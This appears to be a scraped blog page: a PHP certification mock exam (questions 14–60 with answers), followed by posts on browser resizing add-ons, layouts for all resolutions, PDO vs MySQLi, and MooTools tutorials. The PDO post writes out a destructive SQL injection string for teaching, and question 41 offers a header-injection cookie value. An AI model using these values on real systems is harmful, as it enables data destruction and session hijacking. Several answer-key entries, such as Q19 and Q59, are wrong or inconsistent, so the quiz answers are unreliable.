http://php.net/manual/en/language.variables.scope.php
14. What would you replace ??????? with, below, to make the string Hello, World! be displayed? (Choose 1 answer)

<?php

function myfunction() {

   ???????

   print $string;

}

myfunction("Hello, World!");

?>

There is no way to do this
$string = $argv[1];
$string = $_ARGV[0];
list($string) = func_get_args();
$string = get_function_args()

Answer:D
http://ru.php.net/manual/en/function.func-get-args.php
15. What is the output of the following function? (Choose 1 answer)

<?php

function &find_variable(&$one, &$two, &$three) {

   if($one > 10 && $one < 20) return $one;

   if($two > 10 && $two < 20) return $two;

   if($three > 10 && $three < 20) return $three;

}

$one = 2;

$two = 20;

$three = 15;

$var = &find_variable($one, $two, $three);

$var++;

print "1: $one, 2: $two, 3: $three";

?>

1: 2, 2: 20, 3: 15
1: 3, 2:21, 3:16
1: 2, 2:21, 3:15
1: 3, 2: 20, 3: 15
1: 2, 2: 20, 3: 16

Answer: E
http://www.php.net/manual/en/functions.returning-values.php, http://www.php.net/manual/en/language.references.return.php
http://www.php.net/manual/en/language.references.pass.php
16. For an arbitrary string $mystring, which of the following checks will correctly determine if the string PHP exists within it? (Choose 1 answer)

if(strpos($mystring, «PHP») !== false)
if(!strpos($mystring,»PHP»))
if(strpos($mystring, «PHP») === true)
if(strloc($mystring, «PHP») == true)
if(strloc($mystring, «PHP») === false)

Answer: A
http://php.net/manual/en/function.strpos.php: This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE, such as 0 or «».
http://www.php.net/manual/en/language.types.boolean.php
http://www.php.net/manual/en/language.operators.comparison.php
17. What are the values of $a in $obj_one and $obj_two when this script is executed? (Choose 1 answer)

<?php

class myClass {

   private $a;

   public function __construct() {

      $this->a = 10;

   }

   public function printValue() {

      print "The Value is: {$this->a}\n";

   }

   public function changeValue($val, $obj = null) {

      if(is_null($obj)) {

         $this->a = $val;

      } else {

         $obj->a = $val;

      }

   }

   public function getValue() {

      return $this->a;

   }

}

$obj_one = new myClass();

$obj_two = new myClass();

$obj_one->changeValue(20, $obj_two);

$obj_two->changeValue($obj_two->getValue(), $obj_one);

$obj_two->printValue();

$obj_one->printValue();

?>

10,20
You cannot modify private member variables of a different class
20,20
10,10
20,10

Answer: C
http://php.net/manual/en/language.oop5.visibility.php
http://php.net/manual/en/language.oop5.references.php
18. What are the three access modifiers that you can use in PHP objects? (Choose 3 answers)

protected
public
static
private
final

Answer: A, B, D
http://php.net/manual/en/language.oop5.visibility.php
19. When checking to see if two variables contain the same instance of an object, which of the following comparisons should be used? (Choose 1 answer)

if($obj1->equals($obj2) && ($obj1 instanceof $obj2))
if($obj1->equals($obj2))
if($obj1 === $obj2)
if($obj1 instance of $obj2)
if($obj1 == $obj2)

Answer: D
http://php.net/manual/en/internals2.opcodes.instanceof.php, http://php.net/manual/en/language.operators.type.php
20. In PHP 5 you can use the ______ operator to ensure that an object is of a particular type. You can also use_______ in the function declaration. (Choose 1 answer)

instanceof, is_a
instanceof, type-hinting
type, instanceof
===, type-hinting
===, is_a

Answer: B
http://php.net/manual/en/internals2.opcodes.instanceof.php, http://php.net/manual/en/language.oop5.typehinting.php
21. What is wrong with the following code? (Choose 1 answer)

<?php

function duplicate($obj) {

   $newObj = $obj;

   return $newObj;

}

$a = new MyClass();

$a_copy = duplicate($a);

$a->setValue(10);

$a_copy->setValue(20);

?>

You must use return &$newObj instead
There is nothing wrong with this code
duplicate() must accept its parameter by reference
You must use the clone operator to make a copy of an object
duplicate() must return a reference

Answer: D
http://php.net/manual/en/language.oop5.cloning.php
22. How can you modify the copy of an object during a clone operation? (Choose 1 answer)

Put the logic in the object's constructor to alter the values
Implment your own function to do object copying
Implement the object's __clone() method
Implement __get() and __set() methods with the correct logic
Implement the __copy() method with the correct logic

Answer: C
http://php.net/manual/en/language.oop5.cloning.php
23. What is the primary difference between a method declared as static and a normal method? (Choose 1 answer)

Static methods can only be called using the :: syntax and never from an instance
Static methods do not provide a reference to $this
Static methods cannot be called from within class instances
Static methods don't have access to the self keyword
There is no functional difference between a static and non-static method

Answer: A
http://php.net/manual/en/language.oop5.static.php: “Declaring class properties or methods as static makes them accessible without needing an instantiation of the class.” looks more primary then “Because static methods are callable without an instance of the object created, the pseudo-variable $this is not available inside the method declared as static.”.
24. What is the output of the following script? (Choose 1 answer)

<?php

class ClassOne {

   protected $a = 10;

   public function changeValue($b) {

      $this->a = $b;

   }

}

class ClassTwo extends ClassOne {

   protected $b = 10;

   public function changeValue($b) {

      $this->b = 10;

      parent::changeValue($this->a + $this->b);

   }

   public function displayValues() {

      print "a: {$this->a}, b: {$this->b}\n";

   }

}

$obj = new ClassTwo();

$obj->changeValue(20);

$obj->changeValue(10);

$obj->displayValues();

?>

a: 30, b: 30
a: 30, b: 20
a: 30, b: 10
a: 20, b: 20
a: 10, b: 10

Answer: C
http://php.net/manual/en/language.oop5.visibility.php
25. The ______ keyword is used to indicate an incomplete class or method, which must be further extended and/or implemented in order to be used. (Choose 1 answer)

final
protected
incomplete
abstract
implements

Answer: D
http://php.net/manual/en/language.oop5.abstract.php
26. To ensure that a given object has a particular set of methods, you must provide a method list in the form of an________ and then attach it as part of your class using the ________ keyword. (Choose 1 answer)

array, interface
interface, implements
interface, extends
instance, implements
access-list, instance

Answer: B
http://php.net/manual/en/language.oop5.interfaces.php
27. Type-hinting and the instanceof keyword can be used to check what types of things about variables? (Choose 3 answers)

If a particular child class extends from it
If they are an instance of a particular interface
If they are an abstract class
If they have a particular parent class
If they are an instance of a particular class

Answer: B, D, E
http://php.net/manual/en/language.operators.type.php: Example #4, Example #2, Example #1 respectively
28. In PHP 5's object model, a class can have multiple ______ but only a single direct. (Choose 1 answer)

None of the above
interfaces, child
children, interface
interfaces, parent
parents, interface

Answer: D
http://php.net/manual/en/language.oop5.interfaces.php: Example #3 Multiple interface inheritance, http://php.net/manual/en/keyword.extends.php: An extended class is always dependent on a single base class, that is, multiple inheritance is not supported.
29. What three special methods can be used to perform special logic in the event a particular accessed method or member variable is not found? (Choose 3 answers)

__get($variable)
__call($method, $params)
__get($method)
__set($variable, $value)
__call($method)

Answer: A, B, D
http://php.net/manual/en/language.oop5.overloading.php
30. The _______ method will be called automatically when an object is represented as a string. (Choose 1 answer)

getString()
__get()
__value()
__toString()
__getString()

Answer: D
http://www.php.net/manual/en/language.oop5.magic.php#language.oop5.magic.tostring
31. When an object is serialized, which method will be called, automatically, providing your object with an opportunity to close any resources or otherwise prepare to be serialized? (Choose 1 answer)

__destroy()
__serialize()
__destruct()
__shutdown()
__sleep()

Answer: E
http://php.net/manual/en/function.serialize.php
32. What is the output of the following code? (Choose 1 answer)

<?php

class MyException extends Exception {}

class AnotherException extends MyException {}

class Foo {

   public function something() {

      throw new AnotherException();

   }

   public function somethingElse() {

      throw new MyException();

   }

}

$a = new Foo();

try {

   try {

      $a->something();

   } catch(AnotherException $e) {

      $a->somethingElse();

   } catch(MyException $e) {

      print "Caught Exception";

   }

} catch(Exception $e) {

   print "Didn't catch the Exception!";

}

?>

«Caught Exception» followed by «Didn't catch the Exception!»
A fatal error for an uncaught exception
«Didn't catch the Exception!»
«Didn't catch the Exception!» followed by a fatal error
«Caught Exception»

Answer: C
http://php.net/manual/en/language.exceptions.php, http://stackoverflow.com/questions/2586608/confused-by-this-php-exception-try-catch-nesting
33. Which two internal PHP interfaces provide functionality which allow you to treat an object like an array? (Choose 2 answers)

iteration
arrayaccess
objectarray
iterator
array

Answer: B, D
http://php.net/manual/en/class.arrayaccess.php, http://php.net/manual/en/class.iterator.php
34. Which php.ini directive should be disabled to prevent the execution of a remote PHP script via an include or require construct? (Choose 1 answer)

You cannot disable remote PHP script execution
curl.enabled
allow_remote_url
allow_url_fopen
allow_require

Answer: D
http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen
35. When attempting to prevent a cross-site scripting attack, which of the following is most important? (Choose 1 answer)

Not writing Javascript on the fly using PHP
Filtering Output used in form data
Filtering Output used in database transactions
Writing careful Javascript
Filtering all input

Answer: E
36. Which of the following php.ini directives should be disabled to improve the outward security of your application? (Choose 4 answers)

safe_mode
magic_quotes_gpc
register_globals
display_errors
allow_url_fopen

Answer: B, C, D, E
http://php.net/manual/en/features.safe-mode.php
37. Which of the following list of potential data sources should be considered trusted? (Choose 1 answer)

None of the above
$_ENV
$_GET
$_COOKIE
$_SERVER

Answer: A
38. What is the best way to ensure the distinction between filtered / trusted and unfiltered / untrusted data? (Choose 1 answer)

None of the above
Never trust any data from the user
Enable built-in security features such as magic_quotes_gpc and safe_mode
Always filter all incoming data
Use PHP 5's tainted mode

Answer: D
http://devzone.zend.com/article/1113
39. Consider the following code, what potential security hole would this code snippet produce: (Choose 1 answer)

<?php

session_start();

if(!empty($_REQUEST['id']) && !empty($_REQUEST['quantity'])) {

   $id = scrub_id($_REQUEST['id']);

   $quantity = scrub_quantity($_REQUEST['quantity'])

   $_SESSION['cart'][] = array('id' => $id, 'quantity' => $quantity)

}

/* .... */

?>

Cross-Site Scripting Attack
There is no security hole in this code
Code Injection
SQL Injection
Cross-Site Request Forgery

Answer: E
http://en.wikipedia.org/wiki/Cross-site_request_forgery
40. What is the best measure one can take to prevent a cross-site request forgery? (Choose 1 answer)

Disallow requests from outside hosts
Add a secret token to all form submissions
Turn off allow_url_fopen in php.ini
Filter all output
Filter all input

Answer:B
http://en.wikipedia.org/wiki/Cross-site_request_forgery#Prevention
41. Consider the following code, which of the following values of $_GET['url'] would cause session fixation? (Choose 1 answer)

<?php

header("Location: {$_GET['url']}");

?>

Session Fixation is not possible with this code snippet
http://www.zend.com/?PHPSESSID=123
PHPSESSID%611243
Set-Cookie%3A+PHPSESSID%611234
http%3A%2F%2Fwww.zend.com%2F%0D%0ASet-Cookie%3A+PHPSESSID%611234

Answer: B
http://www.php.net/manual/en/session.idpassing.php
42. When implementing a permissions system for your Web site, what should always be done with regards to the session? (Choose 1 answer)

None of the above
You should not implement permission systems using sessions
Sessions should be cleared of all data and re-populated
The session key should be regenerated
The session should be destroyed

Answer: D
http://www.php.net/manual/en/function.session-regenerate-id.php
43. Which of the following is not valid syntax for creating a new array key? (Choose 1 answer)

$a[] = «value»;
$a{} = «value»;
$a[0] = «value»;
$a{0} = «value»;
$a[$b = 0] = «value»;

Answer: B
http://php.net/manual/en/language.types.array.php
44. Which of the following functions will sort an array in ascending order by value, while preserving key associations? (Choose 1 answer)

asort()
usort()
krsort()
ksort()
sort()

Answer: A
http://php.net/manual/en/function.asort.php — sort an array and maintain index association.
45. What is the output of the following code block? (Choose 1 answer)

<?php

$a = "The quick brown fox jumped over the lazy dog.";

$b = array_map("strtoupper", explode(" ", $a));

foreach($b as $value) {

   print "$value ";

}

?>

THE QUICK BROWN FOX JUMPED OVER THE LAZY DOG.
A PHP Error
Array Array Array Array Array Array Array Array Array

Answer: A
http://php.net/manual/en/function.array-map.php
46. Which from the following list is not an appropriate use of an array? (Choose 1 answer)

As a list
All of these uses are valid
As a Lookup Table
A Stack
As a hash table

Answer: B
http://php.net/manual/en/language.types.array.php: This type is optimized for several different uses; it can be treated as an array, list (vector), hash table (an implementation of a map), dictionary, collection, stack, queue, and probably more.
47. What is the output of this code snippet? (Choose 1 answer)

<?php

$a = array(0.001 => 'b', .1 => 'c');

print_r($a);

?>

An empty array
0.001 => 'b', .1 => c
0 => 'c'
'0.001' => 'b', '0.1' => c'
A Syntax Error

Answer: C
http://php.net/manual/en/language.types.array.php :Floats in key are truncated to integer.
48. Which of the following functions could be used to break a string into an array? (Choose 3 answers)

array_split()
split()
string_split()
preg_match_all()
explode()

Answer: B, D, E
http://ru.php.net/manual/en/function.split.php, http://ru.php.net/manual/en/function.preg-match-all.php, http://ru.php.net/manual/en/function.explode.php
49. If you wanted a variable containing the letters A through Z, that allowed you to access each letter independently, which of the following approaches could you use? (Choose 3 answers)

$str = «ABCDEFGHIJKLMNOPQRSTUVWXYZ»;
range('A', 'Z');
explode(«», «ABCDEFGHIJKLMNOPQRSTUVWXYZ»);
You would use the ALPHA_ARRAY constant
None of the above

Answer: A, B, C (but C is error in mock test, see manual about delimeter)
http://ru.php.net/manual/en/function.range.php, http://ru.php.net/manual/en/function.explode.php (Warning: explode(): Empty delimiter.)
50. What is the output of the following code block? (Choose 1 answer)

<?php

$array = array(1 => 0, 2, 3, 4);

array_splice($array, 3, count($array), array_merge(array('x'), array_slice($array, 3)));

print_r($array);

?>

1 => 1, 2 => 2, 3 => x, 4=> 4
0 => 1, 2 => 2, 3 => 3, 4 => 4, x => 3
0 => 0, 1=> 2, 2 => 3, 3 => x, 4 => 4
0 => x, 1 => 0, 2 => 1, 3=> 2, 4=>3
1 => 1, 3 => x, 2 => 2, 4 => 4

Answer: C
http://ru.php.net/manual/en/function.array-slice.php, http://ru.php.net/manual/en/function.array-merge.php, http://ru.php.net/manual/en/function.array-splice.php
51. Which function would you use to add an element to the beginning of an array? (Choose 1 answer)

array_shift()
array_push();
$array[0] = «value»;
array_unshift()
array_pop();

Answer: D
http://ru.php.net/manual/en/function.array-unshift.php
52. Which key will not be displayed from the following code block? (Choose 1 answer)

<?php

$array = array('a' => 'John',

'b' => 'Coggeshall',

'c' => array('d' => 'John',

'e' => 'Smith'));

function display($item, $key) {

   print "$key => $item\n";

}

array_walk_recursive($array, "display");

?>

d
c
b
a
They all will be displayed

Answer: B
http://ru.php.net/manual/en/function.array-walk-recursive.php
53. What is the result of the following code snippet? (Choose 1 answer)

<?php

$array = array('a' => 'John',

'b' => 'Coggeshall',

'c' => array('d' => 'John',

'e' => 'Smith'));

function something($array) {

   extract($array);

   return $c['e'];

}

print something($array);

?>

Smith
A PHP Warning
Coggeshall
NULL
Array

Answer: A
http://ru.php.net/manual/en/function.extract.php
54. What should go in the missing line ????? below to produce the output shown? (Choose 1 answer)

<?php

$array_one = array(1,2,3,4,5);

$array_two = array('A', 'B', 'C', 'D', 'E');

???????

print_r($array_three);

?>

Result:
Array
(
[5] => A
[4] => B
[3] => C
[2] => D
[1] => E
)

$array_three = array_merge(array_reverse($array_one), $array_two);
$array_three = array_combine($array_one, $array_two);
$array_three = array_combine(array_reverse($array_one), $array_two);
$array_three = array_merge($array_one, $array_two);
$array_three = array_reverse($array_one) + $array_two;

Answer: C
http://ru.php.net/manual/en/function.array-combine.php, http://ru.php.net/manual/en/function.array-reverse.php
55. Which of the following functions are used with the internal array pointer to accomplish an action? (Choose 4 answers)

key
forward
prev
current
next

Answer: A, C, D, E
http://php.net/manual/en/function.key.php, http://php.net/manual/en/function.prev.php, http://php.net/manual/en/function.current.php, http://php.net/manual/en/function.next.php
56. Given the following array, the fastest way to determine the total number a particular value appears in the array is to use which function: (Choose 1 answer)
$array = array(1,1,2,3,4,4,5,6,6,6,6,3,2,2,2);

array_total_values
array_count_values
A foreach loop
count
a for loop

Answer: B
http://ru.php.net/manual/en/function.array-count-values.php
57. The ____ construct is particularly useful to assign your own variable names to values within an array. (Choose 1 answer)

array_get_variables
current
each
import_variables
list

Answer: E
http://ru.php.net/manual/en/function.list.php
58. The following code snippet displays what for the resultant array? (Choose 1 answer)

<?php

$a = array(1 => 0, 3 => 2, 4 => 6);

$b = array(3 => 1, 4 => 3, 6 => 4);

print_r(array_intersect($a, $b));

?>

1 => 0
1 => 3, 3 => 1, 4 => 3
3 => 1, 3=> 2, 4 => 3, 4=> 6
1 => 0, 3 => 2, 4 => 6
An empty Array

http://ru.php.net/manual/en/function.array-intersect.php
59. Which of the following are not valid ways to embed a variable into a string? (Choose 1 answer)

$a = «Value: $value->getValue()»;
$a = «Value: {$value}»;
$a = 'Value: $value';
$a = «Value: $value»;
$a = «Value: {$value['val']}»;

Answer: A, C
http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.double
60. What variable reference would go in the spots indcated by ????? in the code segment below? (Choose 1 answer)

<?php

$msg = "The Quick Brown Foxed Jumped Over the Lazy Dog";

$state = true;

$retval = "";

for($i = 0; (isset(??????)); $i++) {

   if($state) {

      $retval .= strtolower(?????);

   } else {

      $retval .= strtoupper(?????);

   }

$state = !$state;

}

print $retval;

?>

$msg{$i}
ord($msg);
chr($msg);
substr($msg, $i, 2);

Answer: A
http://ru.php.net/manual/en/function.isset.php

3 Firefox Plugins To Test Your Website In Different Resolutions

2012-02-26T12:50:00.002-08:00

One of the difficulties in designing for the Internet is figuring out what your site would look like with different screen resolutions. A while back the most common screen resolution was 800×600. Later, as computers improved and screens got larger, the most common screen size was 1024×768. Now, monitors are larger than ever and there are many different sizes going on. One of the tasks of a web designer is to see what their site will look like at the most common resolutions (check out ViewLike.Us).
Well there are also Firefox add-ons that will make the task of testing your website in different resolutions easier. Here I have listed 3 Firefox add-ons to choose from. In fact, each add-on I will be sharing with you will have appeal for different types of users. Different users find different types of shortcuts quicker and easier. Which one is right for you? Let’s find out by taking a quick peek at each of them.

Firesizer

The first one is called Firesizer.

Utilizing this add-on probably couldn’t be any easier! Basically look to the bottom bar and you’ll see where your current window size is indicated…

In order to change the size of your browser window, just right-click the size indicator…

Ads by Google

Web Design Offers www.logic-designs.com
Want To Create A Website Logic Designs Offer 25% Discount Be Hurry

Free Time-Tracking Soft www.actiTIME.com
Web-based Time Tracking Software. Download Free Version or Try Online

Watch Free Videos www.FilmFanatic.MyWebSearch.com
Watch Full-Screen, High-Res Movie Clips & Trailers - Download Free!

The Latest on HTML5 www.htmlgoodies.com/html5/
Get the latest articles now at: The HTML5 Development Center

There are three common sizes to choose from. You can either add a customized size by clicking “Customize…” and adding your own size…

Or you can just click “Save current size” in order to save the current size of the browser window to add it to the list of sizes…

That is how easy this add-on really is! Can you think of a quicker or easier way to test website in different resolutions? I sure can’t!

ResizeIT

The second Firefox add-on this article will be covering is ResizeIT.

ResizeIT brings keyboard shortcuts to the table! Basically you can set different sizes to the 4 shortcuts and, all of a sudden, testing your web projects at different resolutions becomes even easier! They shortcut combos are ALT-1, ALT-2, ALT-3 and ALT-4. By going to the TOOLS menu, choose Add-ons, and click the options button next to the ResizeIT label.

As you can see, you can actually choose the size settings for the combos.

Yet Another Window Resizer

The last Firefox add-on this article will be covering is Yet Another Window Resizer.

For the mouse users out there, this one is for you! That’s because resizing your Firefox window is just a right-click away! Right-click anywhere on a page and the “Resize Window” option shows up at the bottom of the menu.

Just like the other add-ons covered here, you can also set custom sizes.

So there you have it, three Firefox add-ons that make it ieasy to test website in different resolutions. One gives you access in the statusbar (Firesizer), one using keyboard shortcuts (ResizeIT), and yet another via the right-click menu (Yet Another Window Resizer).
There are other ways of testing websites in different resolutions. One way is to have a second monitor with a different resolution set (as mentioned in this article). What other ways do you, the readers, have for testing websites (and other projects) in different screen resolutions?

Designing Websites For All Screen Resolutions

2012-02-26T12:46:00.001-08:00

Professional Dreamweaver Templates!

Tutorial on Designing for 800 x 600, 1024 x 768, 1280 x 1024 and higher
Designing web sites to fit all resolutions is a very important web design principle. Try out the Entheos site in all resolutions higher than 800 x 600 and you will find that it is designed to fit the page exactly. Therefore, visitors who have higher resolution can see more content in one page which reduces scrolling. Most web sites are designed for only one resolution. They may look perfect in a 800 x 600 resolution but if viewed in a 1024 x 768 resolution look a little empty. You'll find a lot of wasted space around it making the web site look quite small.
From our research we have found that majority of our viewers are on the 1024x768 resolutions and higher. As time goes by more and more people are going to switch to higher resolutions as seen by our site statistics. It is therefore very important to design web sites for all resolutions. That is one of the principles we follow while designing web sites for our clients. With that bit of background information, lets get started on how to design a web site for all screen resolutions.

Step 1: Decide on the lowest Screen Resolution

Before you start you need to decide on your lowest screen resolution. Your web site will have to be designed keeping the lowest resolution in mind. Through our research we have found that less than 0.5% are on the 640 x 480 resolution So we ignore that completely. The next important resolution is the 800 x 600 resolution. Some of our visitors are on this resolution so we use this as our lowest screen resolution. This means that our web site has to fit all resolutions equal to or higher than 800 x 600.

Step 2: Design Your Web Site On This Resolution

Once you decide on your lowest screen resolution you need to design your web site for that resolution This means that all your graphics will be designed for this resolution. Design your web site and export the images as you would normally do.

Step 3: While converting your design to HTML make sure all your tables are measured in terms of percentages

Important: This is the trick to developing web sites for all resolutions. You need to work in terms of percentages and not pixels. If you work in pixels you are giving an absolute measurement to a table, whereas working in percentages gives a relative measurement. The table will be a given percentage of the screen resolution.
I hope you have understood this clearly. I'd like to explain this with an example. If you were to design a site for a 800 x 600 resolution, you would probably make a table with width 800 px and height 600 px. Now if you were to design a web site for all resolutions you need to make a table with width and height 100%, so that whatever the screen resolution may be the web page will scale to fit the page. It will be 100% of the screen resolution or whatever percentage you choose to give it.
The first step is to make a table with 100% height and 100% width. You could make it 95% if you want some white space around it.

Step 4: Within the table measure cells in terms of pixels except for the cell for the content

This a another very important step. You need to give a fixed measurement to all your cells except for the content cell. You can leave this cell blank.

Simple Web Site Demonstration

Check this out at 640 x 480, 800 x 600 and 1024 x 768 resolutions

Web Site for All Resolutions

Menu Bar

Link 1
Link 2
Link 3

Content This is a sample web site layout that demonstrates the design of web sites for all resolutions.....
This is a sample web site layout that demonstrates the design of web sites for all resolutions.....

Notes:

The width and height are 100%
The first and last columns are given fixed measurements of 120 px and 10 px respectively
The middle column (content column) is given no measurement so that it will scale to fit the page.
The same logic is used for rows (for the height). All the rows have a fixed height except for the content row which will scale to fit the page.

Example 2 - Only the Header

Check this out in 640 x 480, 800 x 600 and 1024 x 768 resolutions

HTML Code

(Each cell is 9%)

Step 5: Insert images and content

Once you have designed your tables in terms of percentages you need to insert your images and content. The usual layouts will probably have a logo which can come on the top left corner and your navigation buttons in the top right or left navigation bar.

For more complex layouts you will need to use background fills to design your web sites. Remember since you are designing web sites to fit all resolutions you need to position your images accordingly (for your header). The easiest principle I follow (if possible) is to use the top left and right corners for fixed images and let the middle tile according to the size of the page.

Step 6: Test your site in all the resolutions

The last step is to test your site in all the resolutions that are available on your computer. To do this you need to:

Right click on your Desktop and click on Properties
Click on the tab Settings
Under Desktop area click shift the scale to 800 x 600, 1024x768 or higher if possible
Once you have chosen the resolution you want to check the site in, click on the Test button
If you can see the bitmap clearly you can click on Apply

Check your site in all the resolutions and if it is working fine you've successfully designed and developed a web site for all resolutions. Congratulations!

PDO vs. MySQLi: Which Should You Use?

2012-02-26T10:43:00.000-08:00

When accessing a database in PHP, we have two choices: MySQLi and PDO. So what should you know before choosing one? The differences, database support, stability, and performance concerns will be outlined in this article.

Summary

	PDO	MySQLi
Database support	12 different drivers	MySQL only
API	OOP	OOP + procedural
Connection	Easy	Easy
Named parameters	Yes	No
Object mapping	Yes	Yes
Prepared statements (client side)	Yes	No
Performance	Fast	Fast
Stored procedures	Yes	Yes

Connection

It’s a cinch to connect to a database with both of these:

// PDO
$pdo = new PDO("mysql:host=localhost;dbname=database", 'username', 'password');
 
// mysqli, procedural way
$mysqli = mysqli_connect('localhost','username','password','database');
 
// mysqli, object oriented way
$mysqli = new mysqli('localhost','username','password','database');
   

Please note that these connection objects / resources will be considered to exist through the rest of this tutorial.

API Support

Both PDO and MySQLi offer an object-oriented API, but MySQLi also offers a procedural API – which makes it easier for newcomers to understand. If you are familiar with the native PHP MySQL driver, you will find migration to the procedural MySQLi interface much easier. On the other hand, once you master PDO, you can use it with any database you desire!

Database Support

The core advantage of PDO over MySQLi is in its database driver support. At the time of this writing, PDO supports 12 different drivers, opposed to MySQLi, which supports MySQL only.
To print a list of all the drivers that PDO currently supports, use the following code:

1	`var_dump(PDO::getAvailableDrivers());`

What does this mean? Well, in situations when you have to switch your project to use another database, PDO makes the process transparent. So all you’ll have to do is change the connection string and a few queries – if they use any methods which aren’t supported by your new database. With MySQLi, you will need to rewrite every chunk of code – queries included.

Named Parameters

This is another important feature that PDO has; binding parameters is considerably easier than using the numeric binding:

$params = array(':username' => 'test', ':email' => $mail, ':last_login' => time() - 3600);
 
$pdo->prepare('
   SELECT * FROM users
   WHERE username = :username
   AND email = :email
   AND last_login > :last_login');
 
$pdo->execute($params);

…opposed to the MySQLi way:

$query = $mysqli->prepare('
   SELECT * FROM users
   WHERE username = ?
   AND email = ?
   AND last_login > ?');
 
$query->bind_param('sss', 'test', $mail, time() - 3600);
$query->execute();

The question mark parameter binding might seem shorter, but it isn’t nearly as flexible as named parameters, due to the fact that the developer must always keep track of the parameter order; it feels “hacky” in some circumstances.
Unfortunately, MySQLi doesn’t support named parameters.

Object Mapping

Both PDO and MySQLi can map results to objects. This comes in handy if you don’t want to use a custom database abstraction layer, but still want ORM-like behavior. Let’s imagine that we have a User class with some properties, which match field names from a database.

class User {
   public $id;
   public $first_name;
   public $last_name;
 
   public function info()
   {
      return '#'.$this->id.': '.$this->first_name.' '.$this->last_name;
   }
}

Without object mapping, we would need to fill each field’s value (either manually or through the constructor) before we can use the info() method correctly.
This allows us to predefine these properties before the object is even constructed! For isntance:

$query = "SELECT id, first_name, last_name FROM users";
 
// PDO
$result = $pdo->query($query);
$result->setFetchMode(PDO::FETCH_CLASS, 'User');
 
while ($user = $result->fetch()) {
   echo $user->info()."\n";
}
// MySQLI, procedural way
if ($result = mysqli_query($mysqli, $query)) {
   while ($user = mysqli_fetch_object($result, 'User')) {
      echo $user->info()."\n";
   }
}
// MySQLi, object oriented way
if ($result = $mysqli->query($query)) {
   while ($user = $result->fetch_object('User')) {
      echo $user->info()."\n";
   }
}

Security

Both libraries provide SQL injection security, as long as the developer uses them the way they were intended (read: escaping / parameter binding with prepared statements).

Lets say a hacker is trying to inject some malicious SQL through the ‘username’ HTTP query parameter (GET):

1	`$_GET['username'] =` `"'; DELETE FROM users; /*"`

If we fail to escape this, it will be included in the query “as is” – deleting all rows from the users table (both PDO and mysqli support multiple queries).

// PDO, "manual" escaping
$username = PDO::quote($_GET['username']);
 
$pdo->query("SELECT * FROM users WHERE username = $username");
 
// mysqli, "manual" escaping
$username = mysqli_real_escape_string($_GET['username']);
 
$mysqli->query("SELECT * FROM users WHERE username = '$username'");

As you can see, PDO::quote() not only escapes the string, but it also quotes it. On the other side, mysqli_real_escape_string() will only escape the string; you will need to apply the quotes manually.

// PDO, prepared statement
$pdo->prepare('SELECT * FROM users WHERE username = :username');
$pdo->execute(array(':username' => $_GET['username']));
 
// mysqli, prepared statements
$query = $mysqli->prepare('SELECT * FROM users WHERE username = ?');
$query->bind_param('s', $_GET['username']);
$query->execute();

I recommend that you always use prepared statements with bound queries instead of PDO::quote() and mysqli_real_escape_string().

Performance

While both PDO and MySQLi are quite fast, MySQLi performs insignificantly faster in benchmarks – ~2.5% for non-prepared statements, and ~6.5% for prepared ones. Still, the native MySQL extension is even faster than both of these. So if you truly need to squeeze every last bit of performance, that is one thing you might consider.

Summary

Ultimately, PDO wins this battle with ease. With support for twelve different database drivers (eighteen different databases!) and named parameters, we can ignore the small performance loss, and get used to its API. From a security standpoint, both of them are safe as long as the developer uses them the way they are supposed to be used (read: prepared statements).

So if you’re still working with MySQLi, maybe it’s time for a change!

40 Seriously Awesome MooTools Tutorials and Plugins

2012-02-26T10:35:00.002-08:00

MooTools is a lightweight, object-oriented and very popular framework for JavaScript, written in JavaScript which can spice up the interactivity and beauty of your site. User interface plays an important role in the success of any website; JavaScript, CSS and AJAX are commonly used to provide users the leisure of rich user interface over past few years. But using one of the most popular JavaScript libraries, MooTools you can add extra smoothness and interactivity in your website. In this post we have covered some MooTools tutorials and plugins which can be very handy if you are just entering in the world of MooTools.

1. How to Auto Caption Images Using MooTools

In this tutorial your will write a simple script that will select all images with the class of captioned, Take its title attribute or alt attribute and Display it right below the image.

Read Full Tutorial
Demo

2. Sexy Alert Box

Sexy Alert Box replaces old fashion and abruptly appearing alerts with good-looking ans smoothly appearing Alerts using MooTools 1.2 or up.

Read Full Tutorial
Demo

3. AJAX Username Availability Checker Using MooTools 1.2

Almost every website offering membership to its readers needs username availability checker to facilitate users in a way that they know if their desired username is available or already registered on the specific site. So here is a tutorial on how you can implement a username availability checker using MooTools 1.2.

Read Full Tutorial
Demo

4. AutoCompleter

You must have noticed Google giving suggestion about your search queries in a drop down. This Auto-completer script provide the same facility for text suggestion and completion using MooTools.

Read Full Tutorial
Demo

5. AutoGrow Textarea MooTools Plug-In

This MooTools plug-in expands a text-area as the user types something in it. This version is based on the jQuery plug-in developed by Chrys Bader (www.chrysbader.com).

Read Download Plug-in
Demo

6. Background Animations Using MooTools

Mootools a JavaScript framework made animation very easy. This tutorial will show how you can use animated effect in your website.

Read Full Tutorial
Demo

7. Better Pull Quotes with MooTools

This tutorial will use MooTools to create a great-looking pull quotes which will automatically display quotes without repeating any content.

Read Full Tutorial
Demo

8. Create a Quick MooTools Slideshow with Preloading Images

This code will let you learn how to create a simple image slideshow using MooTools with the feature of pre-loading the images; which looks more elegant and enhance the pleasure of viewing the images.

Read Full Tutorial
Demo

9. Create a Simple, Powerful Product Highlighter with MooTools

In this tutorial we’ll be creating a flexible tool for highlighting the products or services available on your website using the MooTools; a JavaScript framework.

Read Full Tutorial
Demo

10. Create a Spectacular Photo Gallery with MooTools

In this tutorial, you will learn to combine many of MooTools’s features to create a nice and simple photo gallery.

Read Full Tutorial
Demo

11. Create a Sprited Navigation Menu Using CSS and MooTools

In this tutorial your will learn to create a sprited navigation menu using CSS and Mootools

Read Full Tutorial
Demo

12. Create an Animated Sliding Button Using MooTools

Every website should have attractive and good-looking buttons to gain the attention and attraction of readers. If you want to be a successful website owner you need to be creative and should not use the old style boring buttons. In this tutorial you will learn to create an animated sliding button using MooTools.

Read Full Tutorial
Demo

13. Create Snook-Style Navigation Using MooTools

This tutorial will teach how you can use an image and Mootools to create a slick mouse-over effect.

Read Full Tutorial
Demo

14. Create Twitter-Style Dropdowns Using MooTools

Well, everybody must have seen the drop-down login menu to twitter. This tutorial will teach you how you can duplicate that functionality of twitter like drop-down menu using MooTools.

Read Full Tutorial
Demo

15. Facebook Sliders With MooTools and CSS

This tutorial will explain how to create Facebook-style sliders that control the height, width, and opacity of an image.

Read Full Tutorial
Demo

